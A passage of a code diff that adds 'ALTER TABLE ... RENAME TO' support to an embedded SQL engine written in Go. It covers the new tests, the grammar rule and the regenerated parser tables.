*testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - res, err := engine.Query(context.Background(), nil, "SELECT id, surname FROM table1 ORDER BY surname", nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME TO table1", nil) + require.ErrorIs(t, err, ErrSameOldAndNewNames) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME TO table11", nil) + require.NoError(t, err) + + res, err := engine.Query(context.Background(), nil, "SELECT id, surname FROM table11 ORDER BY surname", nil) require.NoError(t, err) row, err := res.Read(context.Background()) @@ -4188,6 +4200,9 @@ func TestJoins(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table3 (id INTEGER, age INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME TO table3", nil) + require.ErrorIs(t, err, ErrTableAlreadyExists) + rowCount := 10 for i := 0; i < rowCount; i++ { diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index e13ded5b3c..eb78b008e5 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -240,6 +240,11 @@ ddlstmt: { $$ = &AddColumnStmt{table: $3, colSpec: $6} } +| + ALTER TABLE IDENTIFIER RENAME TO IDENTIFIER + { + $$ = &RenameTableStmt{oldName: $3, newName: $6} + } | ALTER TABLE IDENTIFIER RENAME COLUMN IDENTIFIER TO IDENTIFIER { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 1dd244420e..069d296943 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -243,146 +243,146 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 80, - 59, 145, - 62, 145, - -2, 133, - -1, 203, - 45, 109, - -2, 104, - -1, 234, - 45, 109, - -2, 106, + 59, 146, + 62, 146, + -2, 134, + -1, 205, + 45, 110, + -2, 105, + -1, 236, + 45, 110, + -2, 107, } const yyPrivate = 57344 -const yyLast = 403 +const yyLast = 405 var yyAct = [...]int16{ - 79, 318, 66, 197, 115, 227, 152, 253, 257, 94, - 158, 149, 187, 233, 107, 252, 6, 188, 169, 48, - 85, 110, 289, 244, 195, 243, 221, 195, 19, 195, - 195, 195, 294, 300, 274, 272, 293, 245, 222, 196, - 290, 258, 284, 275, 82, 273, 238, 84, 220, 78, - 162, 97, 93, 218, 95, 96, 210, 209, 259, 98, - 65, 88, 89, 90, 91, 92, 67, 160, 133, 194, - 119, 83, 254, 217, 214, 142, 87, 112, 142, 126, - 171, 143, 141, 137, 138, 139, 121, 118, 140, 127, - 128, 130, 129, 82, 106, 21, 84, 105, 108, 317, - 97, 93, 311, 95, 96, 277, 68, 278, 98, 154, - 88, 89, 90, 91, 92, 67, 119, 133, 151, 165, - 83, 166, 133, 161, 155, 87, 132, 221, 173, 174, - 175, 176, 177, 178, 156, 163, 211, 68, 127, 128, - 130, 129, 186, 189, 67, 130, 129, 68, 195, 114, - 63, 101, 133, 271, 67, 190, 184, 270, 202, 249, - 131, 132, 200, 133, 191, 203, 207, 240, 208, 77, - 277, 131, 132, 127, 128, 130, 129, 205, 201, 204, - 185, 219, 216, 213, 127, 128, 130, 129, 117, 133, - 28, 29, 212, 183, 68, 150, 53, 131, 132, 229, - 265, 251, 225, 111, 231, 193, 116, 192, 170, 237, - 127, 128, 130, 129, 170, 172, 167, 164, 189, 144, - 122, 99, 250, 100, 71, 69, 246, 37, 55, 256, - 241, 52, 47, 157, 247, 248, 236, 260, 288, 215, - 120, 287, 255, 264, 136, 124, 125, 261, 262, 54, - 269, 180, 133, 135, 43, 189, 27, 268, 179, 181, - 70, 61, 182, 38, 319, 320, 303, 279, 228, 198, - 310, 280, 297, 161, 283, 285, 282, 42, 108, 296, - 263, 113, 35, 206, 40, 291, 19, 308, 301, 299, - 298, 292, 59, 226, 224, 34, 33, 304, 22, 266, - 306, 147, 44, 45, 146, 145, 309, 223, 312, 307, - 230, 123, 72, 315, 316, 313, 19, 199, 82, 2, - 321, 84, 46, 322, 73, 97, 93, 32, 95, 96, - 10, 12, 11, 98, 104, 88, 89, 90, 91, 92, - 67, 41, 159, 239, 30, 83, 31, 13, 76, 75, - 87, 102, 103, 153, 7, 23, 8, 9, 14, 15, - 36, 20, 16, 17, 276, 24, 26, 25, 19, 50, - 51, 109, 134, 267, 286, 302, 56, 57, 58, 314, - 242, 281, 81, 80, 295, 235, 234, 232, 74, 49, - 60, 39, 64, 62, 86, 305, 148, 168, 18, 5, - 4, 3, 1, + 79, 320, 66, 199, 115, 229, 153, 255, 259, 94, + 159, 150, 188, 235, 107, 254, 6, 189, 170, 48, + 85, 110, 291, 246, 197, 245, 223, 197, 19, 197, + 197, 197, 296, 302, 276, 274, 295, 247, 224, 198, + 292, 260, 286, 277, 82, 275, 240, 84, 222, 78, + 163, 97, 93, 220, 95, 96, 212, 211, 261, 98, + 65, 88, 89, 90, 91, 92, 67, 161, 133, 196, + 119, 83, 256, 219, 216, 142, 87, 112, 142, 126, + 172, 143, 141, 137, 138, 139, 121, 118, 140, 127, + 128, 130, 129, 82, 106, 21, 84, 105, 280, 319, + 97, 93, 313, 95, 96, 279, 68, 223, 98, 155, + 88, 89, 90, 91, 92, 67, 108, 133, 152, 166, + 83, 167, 133, 162, 156, 87, 132, 213, 174, 175, + 176, 177, 178, 179, 197, 164, 114, 68, 127, 128, + 130, 129, 187, 190, 67, 130, 129, 119, 101, 133, + 63, 273, 157, 68, 272, 191, 185, 131, 132, 204, + 67, 279, 251, 202, 192, 242, 205, 209, 214, 210, + 127, 128, 130, 129, 117, 77, 184, 186, 207, 203, + 206, 53, 68, 218, 215, 151, 221, 28, 29, 267, + 253, 227, 116, 111, 133, 195, 194, 193, 171, 173, + 168, 231, 131, 132, 120, 165, 233, 144, 122, 100, + 71, 239, 171, 69, 37, 127, 128, 130, 129, 55, + 190, 52, 47, 158, 252, 238, 136, 99, 248, 290, + 217, 258, 243, 289, 54, 135, 249, 250, 133, 262, + 133, 271, 43, 70, 257, 266, 131, 132, 270, 263, + 264, 124, 125, 27, 61, 182, 181, 190, 183, 127, + 128, 130, 129, 180, 38, 321, 322, 305, 230, 281, + 200, 312, 299, 282, 284, 162, 285, 287, 108, 42, + 298, 265, 113, 35, 40, 208, 19, 293, 310, 303, + 294, 301, 300, 59, 228, 226, 22, 34, 33, 306, + 268, 225, 308, 148, 44, 45, 146, 147, 311, 145, + 314, 309, 232, 123, 72, 317, 318, 315, 19, 201, + 82, 2, 323, 84, 46, 324, 73, 97, 93, 32, + 95, 96, 10, 12, 11, 98, 104, 88, 89, 90, + 91, 92, 67, 41, 160, 241, 30, 83, 31, 13, + 76, 75, 87, 102, 103, 154, 7, 23, 8, 9, + 14, 15, 36, 20, 16, 17, 278, 24, 26, 25, + 19, 50, 51, 109, 134, 269, 288, 304, 56, 57, + 58, 316, 244, 283, 81, 80, 297, 237, 236, 234, + 74, 49, 60, 39, 64, 62, 86, 307, 149, 169, + 18, 5, 4, 3, 1, } var yyPact = [...]int16{ - 326, -1000, -1000, 6, -1000, -1000, -1000, 269, -1000, -1000, - 348, 183, 327, 310, 262, 261, 238, 154, 207, 241, - -1000, 326, -1000, 194, 194, 194, 303, -1000, 159, 359, - 158, 176, 155, 154, 154, 154, 254, -1000, 204, 64, - -1000, -1000, 152, 202, 151, 292, 194, -1000, -1000, 336, - 35, 35, -1000, 150, 69, 329, 7, 4, 231, 130, - 244, -1000, 237, -1000, 66, 133, -1000, -3, 34, -1000, - 179, -4, 147, 291, -1000, 35, 35, -1000, 260, 100, - 186, -1000, 260, 260, -5, -1000, -1000, 260, -1000, -1000, + 328, -1000, -1000, 6, -1000, -1000, -1000, 267, -1000, -1000, + 350, 180, 329, 312, 264, 263, 239, 141, 208, 241, + -1000, 328, -1000, 182, 182, 182, 305, -1000, 149, 361, + 148, 161, 146, 141, 141, 141, 255, -1000, 197, 64, + -1000, -1000, 140, 185, 137, 294, 182, -1000, -1000, 338, + 35, 35, -1000, 136, 66, 331, 7, 4, 231, 120, + 244, -1000, 238, -1000, 53, 119, -1000, -3, 65, -1000, + 143, -4, 135, 293, -1000, 35, 35, -1000, 262, 175, + 168, -1000, 262, 262, -5, -1000, -1000, 262, -1000, -1000, -1000, -1000, -1000, -8, -1000, -1000, -1000, -1000, -12, -1000, - -9, 146, 280, 279, 276, 122, 122, 347, 260, 51, - -1000, 161, -1000, -23, 74, -1000, -1000, 144, 33, 143, - -1000, 135, -10, 142, -1000, -1000, 100, 260, 260, 260, - 260, 260, 260, 193, 200, 119, -1000, 54, 59, 244, - 89, 260, 260, 122, -1000, 135, 134, 132, -22, 65, - -1000, -52, 219, 298, 100, 347, 130, 260, 347, 359, - 274, 133, -15, 133, -1000, -34, -35, -1000, 53, -1000, - 118, 122, -16, 59, 59, 189, 189, 54, 5, -1000, - 174, 260, -17, -1000, -38, -1000, 126, -43, 44, 100, - -53, -1000, 283, -1000, 259, 129, 258, 217, 260, 290, - 219, -1000, 100, 166, 133, -45, 328, -1000, -1000, -1000, - -1000, 141, -67, -54, 122, -1000, 54, -14, -1000, 85, - -1000, 260, -1000, 128, -18, -1000, -18, -1000, 260, 100, - -32, 217, 231, -1000, 166, 235, -1000, -1000, 133, 127, - 272, -1000, 192, 82, 78, -1000, -56, -46, -57, -48, - 100, -1000, 87, -1000, 260, 22, 100, -1000, -1000, 122, - -1000, 228, -1000, -23, -1000, -49, -32, 177, -1000, 173, - -71, -51, -1000, -1000, -1000, -1000, -1000, -18, 252, -55, - -59, 233, 223, 347, 133, -58, -1000, -1000, -1000, -1000, - -1000, -1000, 248, -1000, -1000, 214, 260, 121, 289, -1000, - -1000, 246, 219, 221, 100, 19, -1000, 260, -1000, 217, - 121, 121, 100, -1000, 16, 211, -1000, 121, -1000, -1000, - -1000, 211, -1000, + -9, 134, 284, 282, 278, 112, 112, 349, 262, 69, + -1000, 151, -1000, -23, 80, -1000, -1000, 132, 33, 127, + -1000, 125, -10, 126, -1000, -1000, 175, 262, 262, 262, + 262, 262, 262, 198, 196, 102, -1000, 54, 59, 244, + 86, 262, 262, 112, -1000, 125, 124, 123, 122, -22, + 51, -1000, -52, 220, 300, 175, 349, 120, 262, 349, + 361, 276, 119, -15, 119, -1000, -34, -35, -1000, 44, + -1000, 94, 112, -16, 59, 59, 177, 177, 54, 5, + -1000, 165, 262, -17, -1000, -38, -1000, 131, -43, 24, + 175, -53, -1000, -1000, 277, -1000, 260, 118, 259, 217, + 262, 292, 220, -1000, 175, 155, 119, -45, 330, -1000, + -1000, -1000, -1000, 139, -67, -54, 112, -1000, 54, -14, + -1000, 88, -1000, 262, -1000, 117, -18, -1000, -18, -1000, + 262, 175, -32, 217, 231, -1000, 155, 236, -1000, -1000, + 119, 116, 273, -1000, 183, 79, 76, -1000, -56, -46, + -57, -48, 175, -1000, 78, -1000, 262, 22, 175, -1000, + -1000, 112, -1000, 226, -1000, -23, -1000, -49, -32, 169, + -1000, 164, -71, -51, -1000, -1000, -1000, -1000, -1000, -18, + 251, -55, -59, 234, 223, 349, 119, -58, -1000, -1000, + -1000, -1000, -1000, -1000, 249, -1000, -1000, 215, 262, 109, + 291, -1000, -1000, 247, 220, 222, 175, 19, -1000, 262, + -1000, 217, 109, 109, 175, -1000, 16, 212, -1000, 109, + -1000, -1000, -1000, 212, -1000, } var yyPgo = [...]int16{ - 0, 402, 319, 401, 400, 399, 16, 398, 397, 18, - 11, 8, 396, 395, 15, 7, 17, 12, 394, 9, - 20, 393, 392, 2, 391, 390, 10, 342, 19, 389, - 388, 169, 387, 13, 386, 385, 0, 14, 384, 383, - 382, 381, 3, 5, 380, 4, 379, 375, 1, 6, - 277, 374, 373, 372, 21, 371, 364, 361, + 0, 404, 321, 403, 402, 401, 16, 400, 399, 18, + 11, 8, 398, 397, 15, 7, 17, 12, 396, 9, + 20, 395, 394, 2, 393, 392, 10, 344, 19, 391, + 390, 175, 389, 13, 388, 387, 0, 14, 386, 385, + 384, 383, 3, 5, 382, 4, 381, 377, 1, 6, + 279, 376, 375, 374, 21, 373, 366, 363, } var yyR1 = [...]int8{ 0, 1, 2, 2, 57, 57, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 4, 4, 4, 4, 50, 50, 11, 11, - 5, 5, 5, 5, 56, 56, 55, 55, 54, 12, - 12, 14, 14, 15, 10, 10, 13, 13, 17, 17, - 16, 16, 18, 18, 18, 18, 18, 18, 18, 18, - 18, 18, 19, 8, 8, 9, 44, 44, 44, 51, - 51, 52, 52, 52, 6, 6, 7, 25, 25, 24, - 24, 21, 21, 22, 22, 20, 20, 20, 23, 23, - 26, 26, 26, 26, 27, 28, 29, 29, 29, 30, - 30, 30, 31, 31, 32, 32, 33, 33, 34, 35, - 35, 37, 37, 41, 41, 38, 38, 42, 42, 43, - 43, 47, 47, 49, 49, 46, 46, 48, 48, 48, - 45, 45, 45, 36, 36, 36, 36, 36, 36, 36, - 36, 39, 39, 39, 39, 53, 53, 40, 40, 40, - 40, 40, 40, 40, 40, + 4, 4, 4, 4, 4, 4, 4, 50, 50, 11, + 11, 5, 5, 5, 5, 56, 56, 55, 55, 54, + 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, + 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, + 18, 18, 18, 19, 8, 8, 9, 44, 44, 44, + 51, 51, 52, 52, 52, 6, 6, 7, 25, 25, + 24, 24, 21, 21, 22, 22, 20, 20, 20, 23, + 23, 26, 26, 26, 26, 27, 28, 29, 29, 29, + 30, 30, 30, 31, 31, 32, 32, 33, 33, 34, + 35, 35, 37, 37, 41, 41, 38, 38, 42, 42, + 43, 43, 47, 47, 49, 49, 46, 46, 48, 48, + 48, 45, 45, 45, 36, 36, 36, 36, 36, 36, + 36, 36, 39, 39, 39, 39, 53, 53, 40, 40, + 40, 40, 40, 40, 40, 40, } var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, 1, 1, 1, 4, 2, 3, 3, 11, 3, 8, - 9, 7, 5, 6, 8, 6, 0, 3, 1, 3, - 9, 8, 7, 8, 0, 4, 1, 3, 3, 0, - 1, 1, 3, 3, 1, 3, 1, 3, 0, 1, - 1, 3, 1, 1, 1, 1, 1, 6, 1, 1, - 1, 1, 4, 1, 3, 5, 0, 3, 3, 0, - 1, 0, 1, 2, 1, 4, 13, 0, 1, 0, - 1, 1, 1, 2, 4, 1, 4, 4, 1, 3, - 3, 4, 2, 6, 1, 2, 0, 2, 2, 0, - 2, 2, 2, 1, 0, 1, 1, 2, 6, 0, - 1, 0, 2, 0, 3, 0, 2, 0, 2, 0, - 2, 0, 3, 0, 4, 2, 4, 0, 1, 1, - 0, 1, 2, 1, 1, 2, 2, 4, 4, 6, - 6, 1, 1, 3, 3, 0, 1, 3, 3, 3, - 3, 3, 3, 3, 4, + 9, 7, 5, 6, 6, 8, 6, 0, 3, 1, + 3, 9, 8, 7, 8, 0, 4, 1, 3, 3, + 0, 1, 1, 3, 3, 1, 3, 1, 3, 0, + 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, + 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, + 0, 1, 0, 1, 2, 1, 4, 13, 0, 1, + 0, 1, 1, 1, 2, 4, 1, 4, 4, 1, + 3, 3, 4, 2, 6, 1, 2, 0, 2, 2, + 0, 2, 2, 2, 1, 0, 1, 1, 2, 6, + 0, 1, 0, 2, 0, 3, 0, 2, 0, 2, + 0, 2, 0, 3, 0, 4, 2, 4, 0, 1, + 1, 0, 1, 2, 1, 1, 2, 2, 4, 4, + 6, 6, 1, 1, 3, 3, 0, 1, 3, 3, + 3, 3, 3, 3, 3, 4, } var yyChk = [...]int16{ @@ -400,61 +400,61 @@ var yyChk = [...]int16{ -54, 73, -6, 44, 83, -45, 73, 55, 90, 82, 61, 90, 73, 20, -31, -31, -36, 84, 85, 87, 86, 71, 72, 63, -53, 67, 58, -36, -36, 90, - -36, 90, 90, 90, 73, 25, 25, 25, -12, -10, - 73, -10, -49, 6, -36, -37, 83, 72, -26, -27, - 90, -19, 73, -20, 73, 86, -23, 73, -8, -9, - 73, 90, 73, -36, -36, -36, -36, -36, -36, 65, - 58, 59, 62, 74, -6, 91, -36, -17, -16, -36, - -10, -9, 73, 73, 91, 83, 91, -42, 50, 19, - -49, -54, -36, -49, -28, -6, 9, -45, -45, 91, - 91, 83, 74, -10, 90, 65, -36, 90, 91, 55, - 91, 83, 91, 24, 35, 73, 35, -43, 51, -36, - 20, -42, -32, -33, -34, -35, 70, -45, 91, 15, - 26, -9, -44, 92, 90, 91, -10, -6, -16, 74, - -36, 73, -14, -15, 90, -14, -36, -11, 73, 90, - -43, -37, -33, 45, -45, 73, 27, -52, 65, 58, - 75, 75, 91, 91, 91, 91, -56, 83, 20, -17, - -10, -41, 48, -26, 91, -11, -51, 64, 65, 93, - 91, -15, 39, 91, 91, -38, 46, 49, -49, -45, - 91, 40, -47, 52, -36, -13, -23, 20, 41, -42, - 49, 83, -36, -43, -46, -23, -23, 83, -48, 53, - 54, -23, -48, + -36, 90, 90, 90, 73, 25, 24, 25, 25, -12, + -10, 73, -10, -49, 6, -36, -37, 83, 72, -26, + -27, 90, -19, 73, -20, 73, 86, -23, 73, -8, + -9, 73, 90, 73, -36, -36, -36, -36, -36, -36, + 65, 58, 59, 62, 74, -6, 91, -36, -17, -16, + -36, -10, -9, 73, 73, 73, 91, 83, 91, -42, + 50, 19, -49, -54, -36, -49, -28, -6, 9, -45, + -45, 91, 91, 83, 74, -10, 90, 65, -36, 90, + 91, 55, 91, 83, 91, 24, 35, 73, 35, -43, + 51, -36, 20, -42, -32, -33, -34, -35, 70, -45, + 91, 15, 26, -9, -44, 92, 90, 91, -10, -6, + -16, 74, -36, 73, -14, -15, 90, -14, -36, -11, + 73, 90, -43, -37, -33, 45, -45, 73, 27, -52, + 65, 58, 75, 75, 91, 91, 91, 91, -56, 83, + 20, -17, -10, -41, 48, -26, 91, -11, -51, 64, + 65, 93, 91, -15, 39, 91, 91, -38, 46, 49, + -49, -45, 91, 40, -47, 52, -36, -13, -23, 20, + 41, -42, 49, 83, -36, -43, -46, -23, -23, 83, + -48, 53, 54, -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 0, 74, 79, - 2, 5, 9, 26, 26, 26, 0, 14, 0, 96, - 0, 0, 0, 0, 0, 0, 0, 94, 77, 0, - 80, 3, 0, 0, 0, 0, 26, 15, 16, 99, - 0, 0, 18, 0, 0, 0, 0, 0, 111, 0, - 0, 78, 0, 81, 82, 130, 85, 0, 88, 13, - 0, 0, 0, 0, 95, 0, 0, 97, 0, 103, - -2, 134, 0, 0, 0, 141, 142, 0, 52, 53, - 54, 55, 56, 0, 58, 59, 60, 61, 88, 98, - 0, 0, 0, 0, 0, 39, 0, 123, 0, 111, - 36, 0, 75, 0, 0, 83, 131, 0, 0, 0, - 27, 0, 0, 0, 100, 101, 102, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 146, 135, 136, 0, - 0, 0, 48, 0, 22, 0, 0, 0, 0, 40, - 44, 0, 117, 0, 112, 123, 0, 0, 123, 96, - 0, 130, 94, 130, 132, 0, 0, 89, 0, 63, - 0, 0, 0, 147, 148, 149, 150, 151, 152, 153, - 0, 0, 0, 144, 0, 143, 0, 0, 49, 50, - 0, 23, 0, 25, 0, 0, 0, 119, 0, 0, - 117, 37, 38, -2, 130, 0, 0, 92, 84, 86, - 87, 0, 66, 0, 0, 154, 137, 0, 138, 0, - 62, 0, 21, 0, 0, 45, 0, 32, 0, 118, - 0, 119, 111, 105, -2, 0, 110, 90, 130, 0, - 0, 64, 71, 0, 0, 19, 0, 0, 0, 0, - 51, 24, 34, 41, 48, 31, 120, 124, 28, 0, - 33, 113, 107, 0, 91, 0, 0, 69, 72, 0, - 0, 0, 20, 139, 140, 57, 30, 0, 0, 0, - 0, 115, 0, 123, 130, 0, 65, 70, 73, 67, - 68, 42, 0, 43, 29, 121, 0, 0, 0, 93, - 17, 0, 117, 0, 116, 114, 46, 0, 35, 119, - 0, 0, 108, 76, 122, 127, 47, 0, 125, 128, - 129, 127, 126, + 0, 0, 0, 0, 0, 0, 0, 0, 75, 80, + 2, 5, 9, 27, 27, 27, 0, 14, 0, 97, + 0, 0, 0, 0, 0, 0, 0, 95, 78, 0, + 81, 3, 0, 0, 0, 0, 27, 15, 16, 100, + 0, 0, 18, 0, 0, 0, 0, 0, 112, 0, + 0, 79, 0, 82, 83, 131, 86, 0, 89, 13, + 0, 0, 0, 0, 96, 0, 0, 98, 0, 104, + -2, 135, 0, 0, 0, 142, 143, 0, 53, 54, + 55, 56, 57, 0, 59, 60, 61, 62, 89, 99, + 0, 0, 0, 0, 0, 40, 0, 124, 0, 112, + 37, 0, 76, 0, 0, 84, 132, 0, 0, 0, + 28, 0, 0, 0, 101, 102, 103, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 147, 136, 137, 0, + 0, 0, 49, 0, 22, 0, 0, 0, 0, 0, + 41, 45, 0, 118, 0, 113, 124, 0, 0, 124, + 97, 0, 131, 95, 131, 133, 0, 0, 90, 0, + 64, 0, 0, 0, 148, 149, 150, 151, 152, 153, + 154, 0, 0, 0, 145, 0, 144, 0, 0, 50, + 51, 0, 23, 24, 0, 26, 0, 0, 0, 120, + 0, 0, 118, 38, 39, -2, 131, 0, 0, 93, + 85, 87, 88, 0, 67, 0, 0, 155, 138, 0, + 139, 0, 63, 0, 21, 0, 0, 46, 0, 33, + 0, 119, 0, 120, 112, 106, -2, 0, 111, 91, + 131, 0, 0, 65, 72, 0, 0, 19, 0, 0, + 0, 0, 52, 25, 35, 42, 49, 32, 121, 125, + 29, 0, 34, 114, 108, 0, 92, 0, 0, 70, + 73, 0, 0, 0, 20, 140, 141, 58, 31, 0, + 0, 0, 0, 116, 0, 124, 131, 0, 66, 71, + 74, 68, 69, 43, 0, 44, 30, 122, 0, 0, + 0, 94, 17, 0, 118, 0, 117, 115, 47, 0, + 36, 120, 0, 0, 109, 77, 123, 128, 48, 0, + 126, 129, 130, 128, 127, } var yyTok1 = [...]int8{ @@ -917,261 +917,266 @@ yydefault: yyVAL.stmt = &AddColumnStmt{table: yyDollar[3].id, colSpec: yyDollar[6].colSpec} } case 24: + yyDollar = yyS[yypt-6 : yypt+1] + { + yyVAL.stmt = &RenameTableStmt{oldName: yyDollar[3].id, newName: yyDollar[6].id} + } + case 25: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &RenameColumnStmt{table: yyDollar[3].id, oldName: yyDollar[6].id, newName: yyDollar[8].id} } - case 25: + case 26: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.stmt = &DropColumnStmt{table: yyDollar[3].id, colName: yyDollar[6].id} } - case 26: + case 27: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 27: + case 28: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.boolean = true } - case 28: + case 29: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 29: + case 30: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = yyDollar[2].ids } - case 30: + case 31: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows, onConflict: yyDollar[9].onConflict} } - case 31: + case 32: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows} } - case 32: + case 33: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].ids, limit: yyDollar[6].exp, offset: yyDollar[7].exp} } - case 33: + case 34: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } - case 34: + case 35: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.onConflict = nil } - case 35: + case 36: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.onConflict = &OnConflictDo{} } - case 36: + case 37: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.updates = []*colUpdate{yyDollar[1].update} } - case 37: + case 38: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update) } - case 38: + case 39: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp} } - case 39: + case 40: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 40: + case 41: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = yyDollar[1].ids } - case 41: + case 42: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.rows = []*RowSpec{yyDollar[1].row} } - case 42: + case 43: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row) } - case 43: + case 44: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.row = &RowSpec{Values: yyDollar[2].values} } - case 44: + case 45: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 45: + case 46: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = append(yyDollar[1].ids, yyDollar[3].id) } - case 46: + case 47: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.cols = []*ColSelector{yyDollar[1].col} } - case 47: + case 48: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col) } - case 48: + case 49: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.values = nil } - case 49: + case 50: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = yyDollar[1].values } - case 50: + case 51: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = []ValueExp{yyDollar[1].exp} } - case 51: + case 52: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.values = append(yyDollar[1].values, yyDollar[3].exp) } - case 52: + case 53: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } - case 53: + case 54: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } - case 54: + case 55: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Varchar{val: yyDollar[1].str} } - case 55: + case 56: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Bool{val: yyDollar[1].boolean} } - case 56: + case 57: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Blob{val: yyDollar[1].blob} } - case 57: + case 58: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } - case 58: + case 59: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } - case 59: + case 60: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } - case 60: + case 61: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } - case 61: + case 62: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } - case 62: + case 63: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } - case 63: + case 64: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colsSpec = []*ColSpec{yyDollar[1].colSpec} } - case 64: + case 65: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colsSpec = append(yyDollar[1].colsSpec, yyDollar[3].colSpec) } - case 65: + case 66: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} } - case 66: + case 67: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.integer = 0 } - case 67: + case 68: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 68: + case 69: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 69: + case 70: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 70: + case 71: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 71: + case 72: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 72: + case 73: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 73: + case 74: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 74: + case 75: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 75: + case 76: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1180,7 +1185,7 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 76: + case 77: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1197,397 +1202,397 @@ 